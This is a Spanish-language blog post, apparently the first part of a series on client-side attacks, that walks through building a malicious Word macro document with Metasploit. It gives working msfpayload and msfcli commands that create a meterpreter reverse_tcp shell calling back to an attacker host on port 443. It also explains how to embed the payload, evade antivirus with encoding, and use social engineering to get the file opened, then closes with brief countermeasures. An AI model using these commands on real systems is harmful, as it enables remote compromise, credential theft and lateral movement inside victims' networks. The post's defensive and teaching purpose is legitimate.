Continuemos con la presentación de ataques al lado del cliente, como prólogo (y algo de historia) podemos indicar que el movimiento inicial en temas de ataque corría a través de la conexión a servicios públicamente disponibles por diversas entidades, el famoso PortScanning permite realizar dichas acciones para que, en base a los servicios encontrados, el atacante pueda realizar ataques de password cracking sobre los servicios, enviarle algún exploit o verificar si existe algo para el information gathering, de hecho existen servicios como Shodan que permiten hacer una búsqueda de servicios al estilo de un motor de búsqueda, para disminuir este vector de ataque tenemos distintos sabores de firewall y configuraciones.
Cerrados estos puntos, el atacante comenzó a atacar a los servicios y aplicaciones que se encuentran bajo estos pocos (en el mejor de los casos), que en la mayoría de los casos son aplicaciones Web, de ahí vienen las técnicas de inyección de parámetros (SQL Injection, XSS, Parameter Pollution, etc.). Ante esto, técnicas de programación segura (SDLC) es lo esencial, claro que ayuda un WAF o un DBF de por medio .
Entonces que hacemos una vez que se han cerrado todos estos vectores de ataque…., recurrimos a nuestro buen (e ingenuo) amigo: el empleado, estas técnicas de ataque están orientadas a ellos, puede ser tan grande el impacto que este año llevamos algunas grandes empresas atacadas por estas técnicas: Google, Comodo, RSA, etc. entre las más conocidas.
Podemos definir 3 tipos de client side attacks: File Format, Web Attacks y Código Móvil, en este post nos concentraremos en la primera.
File Format
En un ataque de tipo file format, se ataca mediante un exploit o contenido malicioso, a las aplicaciones de escritorio del usuario: Word, Excel, Acrobat, Winamp, etc., la idea es generar un archivo con las características mencionadas, en este ejemplo vamos a realizar un ataque contra Word, utilizando Metasploit.
Metasploit tiene un módulo de generación de payloads, el cual nos permitirá generar el código malicioso, que luego incrustaremos al documento, el comando es el siguiente:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=443 V > /root/exploit.bas
Lo que acá indicamos es que utilice el payload meterpreter, mediante un reverse tcp (shell inverso), una vez que se ejecute realice la conexión contra el host 192.168.52.131 (puede ser una dirección pública si realizamos el ataque a través de internet), hacemos que se conecte a través del puerto 443 (SSL), puesto que la mayoría de las compañías tienen ese puerto habilitado de salida para sus usuarios para que puedan navegar hacia sitios seguros, finalmente hacemos que se cree el payload en código de Visual Basic (la opción “V”) y lo envíe a la ruta indicada. Si lo deseamos podemos añadir encriptación mediante el módulo msfencode, o mejor aún utilizar los dos en un solo comando mediante msfvenom.
El payload generado tiene dos partes, la primera se coloca como un macross en Office, para ello copiamos el archivo generado, hasta antes de las líneas PAYLOAD DATA y lo guardamos en otro archivo.
Ingresamos al Editor de Visual Basic:
E importamos el archivo anteriormente generado:
Con lo cual tendremos el módulo cargado:
Cerramos el editor de visual basic (guardando lo cambios), y luego copiamos la segunda parte del documento, a partir de PAYLOAD DATA
Y copiamos su contenido al final del documento:
Con ello ya tenemos el archivo malicioso generado, estos tipos de archivos usualmente son propagados mediante cadenas o combinados con técnicas de ingeniería social para que el usuario abra el archivo con confianza.
Antes de continuar con el ataque se necesita habilitar el servicio de escucha en Metasploit, para que cuando el usuario abra el archivo y realice la conexión, nosotros estemos preparados escuchándola, los siguientes comandos nos ayudan:
./msfcli exploit/multi/handler LHOST=192.168.52.131 LPORT=443 PAYLOAD=windows/meterpreter/reverse_tcp E
Con ello indicamos la apertura de un servicio de escucha genérico (multi/handler) en nuestra maquina a través del puerto 443 esperando un reverse_tcp, con lo cual tendremos el servicio a la escucha:
Finalmente solo queda esperar que el usuario abra el documento, en este caso uno con SO Windows 7 y Office 2010:
Como se aprecia en la imagen el mismo Office no permite por defecto la ejecución de Macross, para ello es importante las técnicas de ingeniería social para convencer al usuario de abrir el documento, o por ejemplo enviar en un Excel, muchos empleados de áreas comercial o marketing, tienen siempre habilitada la ejecución de Macross, con ello tenemos:
Cuando el usuario acepta, casi inmediatamente, tendremos el acceso desde el lado del atacante:
Desde ahora, el atacante pude hacer lo que desee, por ejemplo hacer un dump de los hashes de los usuarios de Windows, copiar contenido de esa maquina o, en el peor escenario, utilizar la maquina para hacer pivoting (que funcione como zombie) para atacar desde adentro a otros servidores internos.
Contramedidas
Como se mencionó anteriormente parte de la configuración de Office impide este tipo de ataque a menos que intervenga el usuario, es posible entonces afinar algunas reglas mediante GPO’s para impedir la ejecución de Macross, otra acción a realizar viene de la mano del antivirus el cual detecta estos payloads:
Sin embargo, como lo mencionamos es posible añadir encriptación para hacer al payload indetectable.
Otra medida algo más adecuada es hacer uso de un antivirus con Firewall personal incorporado, los mismos permiten cerrar las conexiones mediante programas fuentes de confianza.
En el mismo podemos indicar que programas del usuario tienen salida a internet y hacia que puertos, con ello impedimos que como mostramos en este ejemplo un archivo Word se conecte contra un equipo a través de puertos no autorizados.
Espero sus comentarios mientras continuamos con la segunda parte.
Saludos cordiales